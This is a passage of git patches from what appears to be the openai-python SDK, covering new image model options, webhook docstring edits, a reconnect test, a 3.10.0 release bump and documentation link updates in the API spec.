input_fidelity: Optional[Literal["high", "low"]]
@@ -297,6 +300,10 @@ class ImageGeneration(TypedDict, total=False):
"gpt-image-1-mini",
"gpt-image-2",
"gpt-image-2-2026-04-21",
+ "gpt-image-2.5-sunburst",
+ "gpt-image-2.5-sunburst-2026-09-08",
+ "gpt-image-2.5-flare",
+ "gpt-image-2.5-flare-2026-09-08",
"gpt-image-1.5",
"chatgpt-image-latest",
],
@@ -304,7 +311,10 @@ class ImageGeneration(TypedDict, total=False):
"""The image generation model to use.
One of `gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
- `gpt-image-2-2026-04-21`, or `chatgpt-image-latest`. Default: `gpt-image-1`.
+ `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`,
+ `gpt-image-2.5-flare-2026-09-08`, or `chatgpt-image-latest`. Default:
+ `gpt-image-1`.
"""
moderation: Literal["auto", "low"]
@@ -325,25 +335,29 @@ class ImageGeneration(TypedDict, total=False):
to 3.
"""
- quality: Literal["low", "medium", "high", "auto"]
+ quality: Literal["low", "medium", "high", "xhigh", "max", "auto"]
"""The quality of the generated image.
- One of `low`, `medium`, `high`, or `auto`. Default: `auto`.
+ The GPT image models support `low`, `medium`, and `high`.
+ `gpt-image-2.5-sunburst` and `gpt-image-2.5-flare`, including their `2026-09-08`
+ snapshots, also support `xhigh` and `max`. Default: `auto`.
"""
size: Union[str, Literal["1024x1024", "1024x1536", "1536x1024", "auto"]]
"""The size of the generated images.
- For `gpt-image-2` and `gpt-image-2-2026-04-21`, arbitrary resolutions are
- supported as `WIDTHxHEIGHT` strings, for example `1536x864`. Width and height
- must both be divisible by 16 and the requested aspect ratio must be between 1:3
- and 3:1. Resolutions above `2560x1440` are experimental, and the maximum
- supported resolution is `3840x2160`. The requested size must also satisfy the
- model's current pixel and edge limits. The standard sizes `1024x1024`,
- `1536x1024`, and `1024x1536` are supported by the GPT image models; `auto` is
- supported for models that allow automatic sizing. For `dall-e-2`, use one of
- `256x256`, `512x512`, or `1024x1024`. For `dall-e-3`, use one of `1024x1024`,
- `1792x1024`, or `1024x1792`.
+ For `gpt-image-2`, `gpt-image-2-2026-04-21`, `gpt-image-2.5-sunburst`,
+ `gpt-image-2.5-sunburst-2026-09-08`, `gpt-image-2.5-flare`, and
+ `gpt-image-2.5-flare-2026-09-08`, arbitrary resolutions are supported as
+ `WIDTHxHEIGHT` strings, for example `1536x864`. Width and height must both be
+ divisible by 16 and the requested aspect ratio must be between 1:3 and 3:1.
+ Resolutions above `2560x1440` are experimental, and the maximum supported
+ resolution is `3840x2160`. The requested size must also satisfy the model's
+ current pixel and edge limits. The standard sizes `1024x1024`, `1536x1024`, and
+ `1024x1536` are supported by the GPT image models; `auto` is supported for
+ models that allow automatic sizing. For `dall-e-2`, use one of `256x256`,
+ `512x512`, or `1024x1024`. For `dall-e-3`, use one of `1024x1024`, `1792x1024`,
+ or `1024x1792`.
"""
diff --git a/src/openai/types/webhooks/live_call_incoming_webhook_event.py b/src/openai/types/webhooks/live_call_incoming_webhook_event.py
index 972265da6c..40514ddff1 100644
--- a/src/openai/types/webhooks/live_call_incoming_webhook_event.py
+++ b/src/openai/types/webhooks/live_call_incoming_webhook_event.py
@@ -22,9 +22,10 @@ class Data(BaseModel):
"""Event data payload."""
session_id: str
- """The Transceiver `rtc_...` ID of the pending SIP session.
+ """The `live_...` ID of the pending SIP session.
- The same value appears as `call_id` in `realtime.call.incoming`.
+ Forward this value unchanged when accepting or rejecting the call through the
+ Live API.
"""
sip_headers: List[DataSipHeader]
diff --git a/src/openai/types/webhooks/realtime_call_incoming_webhook_event.py b/src/openai/types/webhooks/realtime_call_incoming_webhook_event.py
index 47342ec8e4..bbbdffd366 100644
--- a/src/openai/types/webhooks/realtime_call_incoming_webhook_event.py
+++ b/src/openai/types/webhooks/realtime_call_incoming_webhook_event.py
@@ -24,7 +24,9 @@ class Data(BaseModel):
call_id: str
"""The Transceiver `rtc_...` ID of the pending SIP session.
- The same value appears as `session_id` in `live.call.incoming`.
+ The paired `live.call.incoming` event derives its `session_id` by replacing the
+ `rtc_` prefix with `live_`. Use the ID returned by the event with the
+ corresponding Realtime or Live API.
"""
sip_headers: List[DataSipHeader]
diff --git a/tests/test_send_queue_reconnect.py b/tests/test_send_queue_reconnect.py
index 9314b6a415..40492d73c8 100644
--- a/tests/test_send_queue_reconnect.py
+++ b/tests/test_send_queue_reconnect.py
@@ -52,6 +52,7 @@ def failing_send(data: str) -> None:
assert connection._reconnect(RuntimeError("fake disconnect"))
assert sent == ["aaa", "b"]
assert q._bytes == 0
+ assert not connection._reconnect(RuntimeError("retry budget exhausted"))
@pytest.mark.parametrize(
@@ -97,3 +98,4 @@ async def failing_send(data: str) -> None:
assert await connection._reconnect(RuntimeError("fake disconnect"))
assert sent == ["aaa", "b"]
assert q._bytes == 0
+ assert not await connection._reconnect(RuntimeError("retry budget exhausted"))
From 8011140bbeb771d56425602950875bf87beae39e Mon Sep 17 00:00:00 2001
From: "openai-sdks[bot]" <284451331+openai-sdks[bot]@users.noreply.github.com>
Date: Wed, 9 Sep 2026 00:09:13 +0000
Subject: [PATCH 107/341] release: 3.10.0 (#3822)
Automated Release PR
---
##
[3.10.0](https://github.com/openai/openai-python/compare/v3.9.0...v3.10.0)
(2026-09-08)
### Features
* **api:** add GPT Image 2.5 models and image options
([#3824](https://github.com/openai/openai-python/issues/3824))
([5b39c45](https://github.com/openai/openai-python/commit/5b39c453ee5ee8f46fba0bd9cb4ae47fa5ee6d51))
* **api:** add service-account API key expiration fields
([#3802](https://github.com/openai/openai-python/issues/3802))
([f1cd7f0](https://github.com/openai/openai-python/commit/f1cd7f020210ec3fc71699fc46d90320ddbb411c))
---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).
Co-authored-by: openai-sdks[bot] <284451331+openai-sdks[bot]@users.noreply.github.com>
---
.release-please-manifest.json | 2 +-
CHANGELOG.md | 8 ++++++++
pyproject.toml | 2 +-
src/openai/_version.py | 2 +-
uv.lock | 2 +-
5 files changed, 12 insertions(+), 4 deletions(-)
diff --git a/.release-please-manifest.json b/.release-please-manifest.json
index 9127b1bd59..25709d1bee 100644
--- a/.release-please-manifest.json
+++ b/.release-please-manifest.json
@@ -1,3 +1,3 @@
{
- ".": "3.9.0"
+ ".": "3.10.0"
}
\ No newline at end of file
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 6648b12750..3019f0d816 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,13 @@
# Changelog
+## [3.10.0](https://github.com/openai/openai-python/compare/v3.9.0...v3.10.0) (2026-09-08)
+
+
+### Features
+
+* **api:** add GPT Image 2.5 models and image options ([#3824](https://github.com/openai/openai-python/issues/3824)) ([5b39c45](https://github.com/openai/openai-python/commit/5b39c453ee5ee8f46fba0bd9cb4ae47fa5ee6d51))
+* **api:** add service-account API key expiration fields ([#3802](https://github.com/openai/openai-python/issues/3802)) ([f1cd7f0](https://github.com/openai/openai-python/commit/f1cd7f020210ec3fc71699fc46d90320ddbb411c))
+
## [3.9.0](https://github.com/openai/openai-python/compare/v3.8.0...v3.9.0) (2026-09-05)
diff --git a/pyproject.toml b/pyproject.toml
index d95688b1e4..bc2eb49066 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[project]
name = "openai"
-version = "3.9.0"
+version = "3.10.0"
description = "The official Python library for the openai API"
dynamic = ["readme"]
license = "Apache-2.0"
diff --git a/src/openai/_version.py b/src/openai/_version.py
index 0f65635a89..4123009e62 100644
--- a/src/openai/_version.py
+++ b/src/openai/_version.py
@@ -1,2 +1,2 @@
__title__ = "openai"
-__version__ = "3.9.0" # x-release-please-version
+__version__ = "3.10.0" # x-release-please-version
diff --git a/uv.lock b/uv.lock
index 5f517c9071..7493ef2443 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1524,7 +1524,7 @@ wheels = [
[[package]]
name = "openai"
-version = "3.9.0" # x-release-please-version
+version = "3.10.0" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
From f348ec87b934c98889102668913e0a3ae7fc303d Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Wed, 9 Sep 2026 14:43:11 +0000
Subject: [PATCH 108/341] feat(api): Add expiration controls for service
account keys (#3825)
## Summary
Allow project service accounts to create initial API keys with a
configurable lifetime and expose their expiration timestamps. Clarify
related API behavior and refresh inline documentation links.
## Changes
- Add the optional `expires_in_seconds` parameter to synchronous and
asynchronous service account creation and its request type.
- Document that key lifetimes may be required or limited by policy and
cannot be set with `create_service_account_only`.
- Add `expires_at` expiration metadata to project API key and service
account creation response types.
- Clarify that transcription prompts are unsupported with
`gpt-4o-transcribe-diarize`.
- Clarify that incoming call webhook SIP headers exclude authorization
headers, preserve repetitions and ordering, and must be treated as
untrusted metadata.
- Point SDK resource and type documentation to the current API guides
and references.
Co-authored-by: apcha-oai <228803254+apcha-oai@users.noreply.github.com>
---
.castiron.stats.yml | 14 +-
api_reference/openapi.transformed.yml | 944 ++++++++++--------
.../admin/organization/audit_logs.py | 4 +-
.../admin/organization/projects/projects.py | 8 +-
.../service_accounts/service_accounts.py | 16 +
src/openai/resources/audio/speech.py | 10 +-
src/openai/resources/audio/transcriptions.py | 27 +-
src/openai/resources/audio/translations.py | 4 +-
src/openai/resources/batches.py | 10 +-
src/openai/resources/beta/assistants.py | 72 +-
.../resources/beta/responses/input_tokens.py | 24 +-
.../resources/beta/responses/responses.py | 618 ++++++------
.../resources/beta/threads/runs/runs.py | 186 ++--
.../resources/beta/threads/runs/steps.py | 8 +-
src/openai/resources/beta/threads/threads.py | 148 +--
.../resources/chat/completions/completions.py | 540 +++++-----
src/openai/resources/completions.py | 174 ++--
.../resources/content_provenance_checks.py | 4 +-
src/openai/resources/conversations/items.py | 8 +-
src/openai/resources/embeddings.py | 20 +-
src/openai/resources/evals/evals.py | 4 +-
src/openai/resources/files.py | 20 +-
.../resources/fine_tuning/alpha/graders.py | 18 +-
.../fine_tuning/checkpoints/permissions.py | 24 +-
src/openai/resources/fine_tuning/jobs/jobs.py | 38 +-
src/openai/resources/images.py | 64 +-
src/openai/resources/moderations.py | 18 +-
src/openai/resources/realtime/calls.py | 4 +-
.../resources/realtime/client_secrets.py | 4 +-
src/openai/resources/realtime/realtime.py | 4 +-
.../resources/responses/input_tokens.py | 24 +-
src/openai/resources/responses/responses.py | 618 ++++++------
src/openai/resources/uploads/parts.py | 18 +-
src/openai/resources/uploads/uploads.py | 40 +-
.../resources/vector_stores/file_batches.py | 24 +-
src/openai/resources/vector_stores/files.py | 24 +-
.../resources/vector_stores/vector_stores.py | 12 +-
.../organization/audit_log_list_params.py | 2 +-
.../organization/project_create_params.py | 4 +-
.../organization/projects/project_api_key.py | 6 +
.../projects/service_account_create_params.py | 9 +
.../service_account_create_response.py | 6 +
.../types/audio/speech_create_params.py | 5 +-
.../audio/transcription_create_params.py | 7 +-
.../audio/transcription_text_delta_event.py | 4 +-
.../audio/transcription_text_done_event.py | 4 +-
.../audio/transcription_text_segment_event.py | 2 +-
.../types/audio/translation_create_params.py | 3 +-
src/openai/types/batch.py | 4 +-
src/openai/types/batch_create_params.py | 5 +-
src/openai/types/batch_usage.py | 2 +-
src/openai/types/beta/assistant.py | 24 +-
.../types/beta/assistant_create_params.py | 36 +-
.../types/beta/assistant_stream_event.py | 78 +-
.../types/beta/assistant_update_params.py | 26 +-
src/openai/types/beta/beta_computer_tool.py | 2 +-
.../types/beta/beta_computer_tool_param.py | 2 +-
.../beta/beta_computer_use_preview_tool.py | 2 +-
.../beta_computer_use_preview_tool_param.py | 2 +-
src/openai/types/beta/beta_custom_tool.py | 2 +-
.../types/beta/beta_custom_tool_param.py | 2 +-
.../types/beta/beta_file_search_tool.py | 2 +-
.../types/beta/beta_file_search_tool_param.py | 2 +-
src/openai/types/beta/beta_function_tool.py | 2 +-
.../types/beta/beta_function_tool_param.py | 2 +-
src/openai/types/beta/beta_response.py | 57 +-
.../beta/beta_response_compaction_item.py | 2 +-
.../beta_response_compaction_item_param.py | 2 +-
...ta_response_compaction_item_param_param.py | 2 +-
.../beta/beta_response_computer_tool_call.py | 2 +-
.../beta_response_computer_tool_call_param.py | 2 +-
.../beta_response_file_search_tool_call.py | 2 +-
...ta_response_file_search_tool_call_param.py | 2 +-
...response_format_text_json_schema_config.py | 4 +-
...se_format_text_json_schema_config_param.py | 4 +-
.../beta/beta_response_function_tool_call.py | 2 +-
.../beta_response_function_tool_call_item.py | 2 +-
.../beta_response_function_tool_call_param.py | 2 +-
.../beta/beta_response_function_web_search.py | 2 +-
...beta_response_function_web_search_param.py | 2 +-
.../types/beta/beta_response_input_image.py | 2 +-
.../beta/beta_response_input_image_content.py | 2 +-
...beta_response_input_image_content_param.py | 2 +-
.../beta/beta_response_input_image_param.py | 2 +-
src/openai/types/beta/beta_response_prompt.py | 2 +-
.../types/beta/beta_response_prompt_param.py | 2 +-
.../beta/beta_response_reasoning_item.py | 2 +-
.../beta_response_reasoning_item_param.py | 2 +-
.../types/beta/beta_response_text_config.py | 6 +-
.../beta/beta_response_text_config_param.py | 6 +-
src/openai/types/beta/beta_response_usage.py | 6 +-
.../types/beta/beta_responses_client_event.py | 75 +-
.../beta/beta_responses_client_event_param.py | 75 +-
src/openai/types/beta/beta_tool.py | 4 +-
.../types/beta/beta_tool_choice_types.py | 4 +-
.../beta/beta_tool_choice_types_param.py | 4 +-
src/openai/types/beta/beta_tool_param.py | 4 +-
.../beta/beta_web_search_preview_tool.py | 2 +-
.../beta_web_search_preview_tool_param.py | 2 +-
src/openai/types/beta/beta_web_search_tool.py | 2 +-
.../types/beta/beta_web_search_tool_param.py | 2 +-
src/openai/types/beta/file_search_tool.py | 6 +-
.../types/beta/file_search_tool_param.py | 6 +-
.../types/beta/response_compact_params.py | 21 +-
.../types/beta/response_create_params.py | 77 +-
.../types/beta/response_retrieve_params.py | 4 +-
.../responses/input_token_count_params.py | 22 +-
src/openai/types/beta/thread.py | 10 +-
.../beta/thread_create_and_run_params.py | 54 +-
src/openai/types/beta/thread_create_params.py | 23 +-
src/openai/types/beta/thread_update_params.py | 8 +-
src/openai/types/beta/threads/image_file.py | 6 +-
.../beta/threads/image_file_content_block.py | 2 +-
.../threads/image_file_content_block_param.py | 2 +-
.../types/beta/threads/image_file_delta.py | 6 +-
.../beta/threads/image_file_delta_block.py | 2 +-
.../types/beta/threads/image_file_param.py | 6 +-
src/openai/types/beta/threads/message.py | 10 +-
.../required_action_function_tool_call.py | 2 +-
src/openai/types/beta/threads/run.py | 33 +-
.../types/beta/threads/run_create_params.py | 31 +-
.../runs/code_interpreter_output_image.py | 4 +-
.../runs/code_interpreter_tool_call.py | 4 +-
.../beta/threads/runs/function_tool_call.py | 3 +-
.../threads/runs/function_tool_call_delta.py | 3 +-
.../types/beta/threads/runs/run_step.py | 11 +-
.../beta/threads/runs/step_list_params.py | 2 +-
.../beta/threads/runs/step_retrieve_params.py | 2 +-
src/openai/types/chat/chat_completion.py | 16 +-
...chat_completion_assistant_message_param.py | 4 +-
.../types/chat/chat_completion_audio.py | 2 +-
.../types/chat/chat_completion_audio_param.py | 2 +-
.../types/chat/chat_completion_chunk.py | 18 +-
.../chat_completion_content_part_image.py | 6 +-
...hat_completion_content_part_image_param.py | 6 +-
...mpletion_content_part_input_audio_param.py | 4 +-
.../chat_completion_content_part_param.py | 2 +-
.../chat/chat_completion_content_part_text.py | 4 +-
...chat_completion_content_part_text_param.py | 4 +-
.../types/chat/chat_completion_message.py | 4 +-
.../types/chat/completion_create_params.py | 86 +-
src/openai/types/completion_create_params.py | 29 +-
.../types/conversations/item_create_params.py | 2 +-
.../conversations/item_retrieve_params.py | 2 +-
src/openai/types/embedding.py | 2 +-
src/openai/types/embedding_create_params.py | 10 +-
...create_eval_completions_run_data_source.py | 4 +-
..._eval_completions_run_data_source_param.py | 4 +-
src/openai/types/evals/run_cancel_response.py | 23 +-
src/openai/types/evals/run_create_params.py | 23 +-
src/openai/types/evals/run_create_response.py | 23 +-
src/openai/types/evals/run_list_response.py | 23 +-
.../types/evals/run_retrieve_response.py | 23 +-
.../fine_tuning/alpha/grader_run_params.py | 9 +-
.../types/fine_tuning/fine_tuning_job.py | 6 +-
.../types/fine_tuning/job_create_params.py | 15 +-
.../types/graders/score_model_grader.py | 2 +-
.../types/graders/score_model_grader_param.py | 2 +-
.../types/image_create_variation_params.py | 2 +-
src/openai/types/image_edit_params.py | 6 +-
src/openai/types/image_generate_params.py | 6 +-
src/openai/types/moderation_create_params.py | 6 +-
.../types/realtime/audio_transcription.py | 2 +-
.../realtime/audio_transcription_param.py | 2 +-
.../types/realtime/call_accept_params.py | 2 +-
.../output_audio_buffer_clear_event.py | 2 +-
.../output_audio_buffer_clear_event_param.py | 2 +-
.../realtime/realtime_audio_config_input.py | 2 +-
.../realtime_audio_config_input_param.py | 2 +-
.../realtime_response_create_mcp_tool.py | 4 +-
...realtime_response_create_mcp_tool_param.py | 4 +-
.../realtime_response_create_params.py | 2 +-
.../realtime_response_create_params_param.py | 2 +-
.../types/realtime/realtime_server_event.py | 6 +-
.../realtime_session_create_request.py | 2 +-
.../realtime_session_create_request_param.py | 2 +-
.../realtime_session_create_response.py | 6 +-
.../realtime/realtime_tools_config_param.py | 4 +-
.../realtime/realtime_tools_config_union.py | 4 +-
.../realtime_tools_config_union_param.py | 4 +-
...ltime_transcription_session_audio_input.py | 2 +-
...transcription_session_audio_input_param.py | 2 +-
src/openai/types/responses/computer_tool.py | 2 +-
.../types/responses/computer_tool_param.py | 2 +-
.../responses/computer_use_preview_tool.py | 2 +-
.../computer_use_preview_tool_param.py | 2 +-
src/openai/types/responses/custom_tool.py | 2 +-
.../types/responses/custom_tool_param.py | 2 +-
.../types/responses/file_search_tool.py | 2 +-
.../types/responses/file_search_tool_param.py | 2 +-
src/openai/types/responses/function_tool.py | 2 +-
.../types/responses/function_tool_param.py | 2 +-
.../responses/input_token_count_params.py | 18 +-
src/openai/types/responses/response.py | 53 +-
.../responses/response_compact_params.py | 21 +-
.../responses/response_compaction_item.py | 2 +-
.../response_compaction_item_param.py | 2 +-
.../response_compaction_item_param_param.py | 2 +-
.../responses/response_computer_tool_call.py | 2 +-
.../response_computer_tool_call_param.py | 2 +-
.../types/responses/response_create_params.py | 73 +-
.../response_file_search_tool_call.py | 2 +-
.../response_file_search_tool_call_param.py | 2 +-
...response_format_text_json_schema_config.py | 4 +-
...se_format_text_json_schema_config_param.py | 4 +-
.../responses/response_function_tool_call.py | 2 +-
.../response_function_tool_call_item.py | 2 +-
.../response_function_tool_call_param.py | 2 +-
.../responses/response_function_web_search.py | 2 +-
.../response_function_web_search_param.py | 2 +-
.../types/responses/response_input_image.py | 2 +-
.../responses/response_input_image_content.py | 2 +-
.../response_input_image_content_param.py | 2 +-
.../responses/response_input_image_param.py | 2 +-
src/openai/types/responses/response_prompt.py | 2 +-
.../types/responses/response_prompt_param.py | 2 +-
.../responses/response_reasoning_item.py | 2 +-
.../response_reasoning_item_param.py | 2 +-
.../responses/response_retrieve_params.py | 4 +-
.../types/responses/response_text_config.py | 6 +-
.../responses/response_text_config_param.py | 6 +-
src/openai/types/responses/response_usage.py | 6 +-
.../types/responses/responses_client_event.py | 71 +-
.../responses/responses_client_event_param.py | 71 +-
src/openai/types/responses/tool.py | 4 +-
.../types/responses/tool_choice_types.py | 4 +-
.../responses/tool_choice_types_param.py | 4 +-
src/openai/types/responses/tool_param.py | 4 +-
.../responses/web_search_preview_tool.py | 2 +-
.../web_search_preview_tool_param.py | 2 +-
src/openai/types/responses/web_search_tool.py | 2 +-
.../types/responses/web_search_tool_param.py | 2 +-
.../types/shared/function_definition.py | 6 +-
src/openai/types/shared/reasoning.py | 4 +-
.../shared/response_format_json_schema.py | 4 +-
.../shared/response_format_text_grammar.py | 2 +-
.../shared/response_format_text_python.py | 2 +-
.../shared_params/function_definition.py | 6 +-
src/openai/types/shared_params/reasoning.py | 4 +-
.../response_format_json_schema.py | 4 +-
src/openai/types/upload.py | 2 +-
src/openai/types/upload_create_params.py | 2 +-
.../types/vector_store_create_params.py | 6 +-
.../vector_stores/file_batch_create_params.py | 18 +-
.../types/vector_stores/file_create_params.py | 6 +-
.../types/vector_stores/vector_store_file.py | 4 +-
.../vector_stores/vector_store_file_batch.py | 4 +-
.../live_call_incoming_webhook_event.py | 6 +-
.../realtime_call_incoming_webhook_event.py | 6 +-
.../projects/test_service_accounts.py | 2 +
250 files changed, 2980 insertions(+), 2668 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 7ecbbca4e2..b05e8abdd5 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: c48dfb66-88a5-4465-96d1-0585b9ab8215
-openapi_spec_hash: 0ac5ea4ab2546a188a36a0d370367637
-openapi_transformed_spec_hash: 6be6c39576ec27111cab26c251d2ab65
-config_hash: d92ec885ac2a08b6a4c1ff90420f0327
-codegen_sha: 9a9f8502cf7f372b0bc13c052819b78d02991ca5
-codegen_hash: 82d1c3235b99cb90187912ae7dd653fba230efd59dbf3c947b6c522a1a801d85
-public_codegen_sha: db47bcd202616d35b583b2433270b565be76233a
+generation_id: 6df05462-b7ff-42d2-8cda-723d52f989eb
+openapi_spec_hash: cc8bc0e9cda20d98cbcab338ff08b50c
+openapi_transformed_spec_hash: 2f1cea3510c46bd2b681baf83d8724c5
+config_hash: d7b82262337a543ff59106e4a32ead4e
+codegen_sha: 5e32d2afdf8428ec5caf80a1700a77e75f8e4e96
+codegen_hash: b253f3a3531fcc8accd8fe17b08357fcf075c246bc3bccb82ef95a2d13c5f3da
+public_codegen_sha: 2f7f196c41d4252ad343a2b7f8a08572e91680a0
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 1cc46fbb40..0726765339 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -2817,21 +2817,21 @@ paths:
"system_fingerprint": null
}
description: |
- **Starting a new project?** We recommend trying [Responses](https://platform.openai.com/docs/api-reference/responses)
+ **Starting a new project?** We recommend trying [Responses](https://developers.openai.com/api/reference/resources/responses)
to take advantage of the latest OpenAI platform features. Compare
- [Chat Completions with Responses](https://platform.openai.com/docs/guides/responses-vs-chat-completions?api-mode=responses).
+ [Chat Completions with Responses](https://developers.openai.com/api/docs/guides/migrate-to-responses?api-mode=responses).
---
Creates a model response for the given chat conversation. Learn more in the
- [text generation](https://platform.openai.com/docs/guides/text-generation), [vision](https://platform.openai.com/docs/guides/vision),
- and [audio](https://platform.openai.com/docs/guides/audio) guides.
+ [text generation](https://developers.openai.com/api/docs/guides/text), [vision](https://developers.openai.com/api/docs/guides/images-vision),
+ and [audio](https://developers.openai.com/api/docs/guides/audio) guides.
Parameter support can differ depending on the model used to generate the
response, particularly for newer reasoning models. Parameters that are only
supported for reasoning models are noted below. For the current state of
unsupported parameters in reasoning models,
- [refer to the reasoning guide](https://platform.openai.com/docs/guides/reasoning).
+ [refer to the reasoning guide](https://developers.openai.com/api/docs/guides/reasoning).
Returns a chat completion object, or a streamed sequence of chat completion
chunk objects if the request is streamed.
@@ -3752,7 +3752,7 @@ paths:
$ref: '#/components/schemas/IncludeEnum'
description: |
Additional fields to include in the response. See the `include`
- parameter for [listing Conversation items above](https://platform.openai.com/docs/api-reference/conversations/list-items#conversations_list_items-include) for more information.
+ parameter for [listing Conversation items above](https://developers.openai.com/api/reference/resources/conversations/subresources/items/methods/list#%28resource%29%20conversations.items%20%3E%20%28method%29%20list%20%3E%20%28params%29%20default%20%3E%20%28param%29%20include%20%3E%20%28schema%29) for more information.
requestBody:
required: true
content:
@@ -4057,7 +4057,7 @@ paths:
$ref: '#/components/schemas/IncludeEnum'
description: |
Additional fields to include in the response. See the `include`
- parameter for [listing Conversation items above](https://platform.openai.com/docs/api-reference/conversations/list-items#conversations_list_items-include) for more information.
+ parameter for [listing Conversation items above](https://developers.openai.com/api/reference/resources/conversations/subresources/items/methods/list#%28resource%29%20conversations.items%20%3E%20%28method%29%20list%20%3E%20%28params%29%20default%20%3E%20%28param%29%20include%20%3E%20%28schema%29) for more information.
responses:
'200':
description: OK
@@ -4620,7 +4620,7 @@ paths:
description: |
Create the structure of an evaluation that can be used to test a model's performance.
An evaluation is a set of testing criteria and the config for a data source, which dictates the schema of the data used in the evaluation. After creating an evaluation, you can run it on different models and model parameters. We support several types of graders and datasources.
- For more information, see the [Evals guide](https://platform.openai.com/docs/guides/evals).
+ For more information, see the [Evals guide](https://developers.openai.com/api/docs/guides/evals).
/evals/{eval_id}:
get:
operationId: getEval
@@ -6210,18 +6210,18 @@ paths:
user.
- The Assistants API supports files up to 2 million tokens and of specific
- file types. See the [Assistants Tools guide](https://platform.openai.com/docs/assistants/tools) for
+ file types. See the [Assistants Tools guide](https://developers.openai.com/api/docs/guides/tools) for
details.
- The Fine-tuning API only supports `.jsonl` files. The input also has
certain required formats for fine-tuning
- [chat](https://platform.openai.com/docs/api-reference/fine-tuning/chat-input) or
- [completions](https://platform.openai.com/docs/api-reference/fine-tuning/completions-input) models.
+ [chat](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#formatting-your-data) or
+ [completions](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#formatting-your-data) models.
- The Batch API only supports `.jsonl` files up to 200 MB in size. The input
also has a specific required
- [format](https://platform.openai.com/docs/api-reference/batch/request-input).
+ [format](https://developers.openai.com/api/docs/guides/batch#1-prepare-your-batch-file).
- For Retrieval or `file_search` ingestion, upload files here first. If
you need to attach multiple uploaded files to the same vector store, use
- [`/vector_stores/{vector_store_id}/file_batches`](https://platform.openai.com/docs/api-reference/vector-stores-file-batches/createBatch)
+ [`/vector_stores/{vector_store_id}/file_batches`](https://developers.openai.com/api/reference/resources/vector_stores/subresources/file_batches/methods/create)
instead of attaching them one by one. Vector store attachment has separate
limits from file upload, including 2,000 attached files per minute per
organization.
@@ -6746,7 +6746,7 @@ paths:
"has_more": false
}
description: |
- **NOTE:** This endpoint requires an [admin API key](../admin-api-keys).
+ **NOTE:** This endpoint requires an [admin API key](https://developers.openai.com/api/reference/resources/admin/subresources/organization/subresources/admin_api_keys).
Organization owners can use this endpoint to view all permissions for a fine-tuned model checkpoint.
post:
@@ -6801,7 +6801,7 @@ paths:
"has_more": false
}
description: |
- **NOTE:** Calling this endpoint requires an [admin API key](../admin-api-keys).
+ **NOTE:** Calling this endpoint requires an [admin API key](https://developers.openai.com/api/reference/resources/admin/subresources/organization/subresources/admin_api_keys).
This enables organization owners to share fine-tuned models with other projects in their organization.
/fine_tuning/checkpoints/{fine_tuned_model_checkpoint}/permissions/{permission_id}:
@@ -6849,7 +6849,7 @@ paths:
"deleted": true
}
description: |
- **NOTE:** This endpoint requires an [admin API key](../admin-api-keys).
+ **NOTE:** This endpoint requires an [admin API key](https://developers.openai.com/api/reference/resources/admin/subresources/organization/subresources/admin_api_keys).
Organization owners can use this endpoint to delete a permission for a fine-tuned model checkpoint.
/fine_tuning/jobs:
@@ -7256,7 +7256,7 @@ paths:
Response includes details of the enqueued job including job status and the name of the fine-tuned models once complete.
- [Learn more about fine-tuning](https://platform.openai.com/docs/guides/model-optimization)
+ [Learn more about fine-tuning](https://developers.openai.com/api/docs/guides/model-optimization)
get:
operationId: listPaginatedFineTuningJobs
tags:
@@ -7432,7 +7432,7 @@ paths:
description: |
Get info about a fine-tuning job.
- [Learn more about fine-tuning](https://platform.openai.com/docs/guides/model-optimization)
+ [Learn more about fine-tuning](https://developers.openai.com/api/docs/guides/model-optimization)
/fine_tuning/jobs/{fine_tuning_job_id}/cancel:
post:
operationId: cancelFineTuningJob
@@ -8105,7 +8105,7 @@ paths:
event: image_generation.completed
data: {"type":"image_generation.completed","b64_json":"...","usage":{"total_tokens":100,"input_tokens":50,"output_tokens":50,"input_tokens_details":{"text_tokens":10,"image_tokens":40}}}
description: |
- Creates an image given a prompt. [Learn more](https://platform.openai.com/docs/guides/images).
+ Creates an image given a prompt. [Learn more](https://developers.openai.com/api/docs/guides/images-vision).
/images/variations:
post:
operationId: createImageVariation
@@ -8635,7 +8635,7 @@ paths:
}
description: |
Classifies if text and/or image inputs are potentially harmful. Learn
- more in the [moderation guide](https://platform.openai.com/docs/guides/moderation).
+ more in the [moderation guide](https://developers.openai.com/api/docs/guides/moderation).
/organization/admin_api_keys:
get:
security:
@@ -8910,7 +8910,7 @@ paths:
type: string
- name: event_types[]
in: query
- description: Return only events with a `type` in one of these values. For example, `project.created`. For all options, see the documentation for the [audit log object](https://platform.openai.com/docs/api-reference/audit-logs/object).
+ description: Return only events with a `type` in one of these values. For example, `project.created`. For all options, see the documentation for the [audit log object](https://developers.openai.com/api/reference/resources/admin/subresources/organization/subresources/audit_logs).
required: false
schema:
type: array
@@ -16103,7 +16103,7 @@ paths:
type: string
description: |-
The identifier for the call provided in the
- [`realtime.call.incoming`](https://platform.openai.com/docs/api-reference/webhook-events/realtime/call/incoming)
+ [`realtime.call.incoming`](https://developers.openai.com/api/reference/resources/webhooks#realtime.call.incoming)
webhook.
requestBody:
required: true
@@ -16149,10 +16149,10 @@ paths:
type: string
description: |-
The identifier for the call. For SIP calls, use the value provided in the
- [`realtime.call.incoming`](https://platform.openai.com/docs/api-reference/webhook-events/realtime/call/incoming)
+ [`realtime.call.incoming`](https://developers.openai.com/api/reference/resources/webhooks#realtime.call.incoming)
webhook. For WebRTC sessions, reuse the call ID returned in the `Location`
header when creating the call with
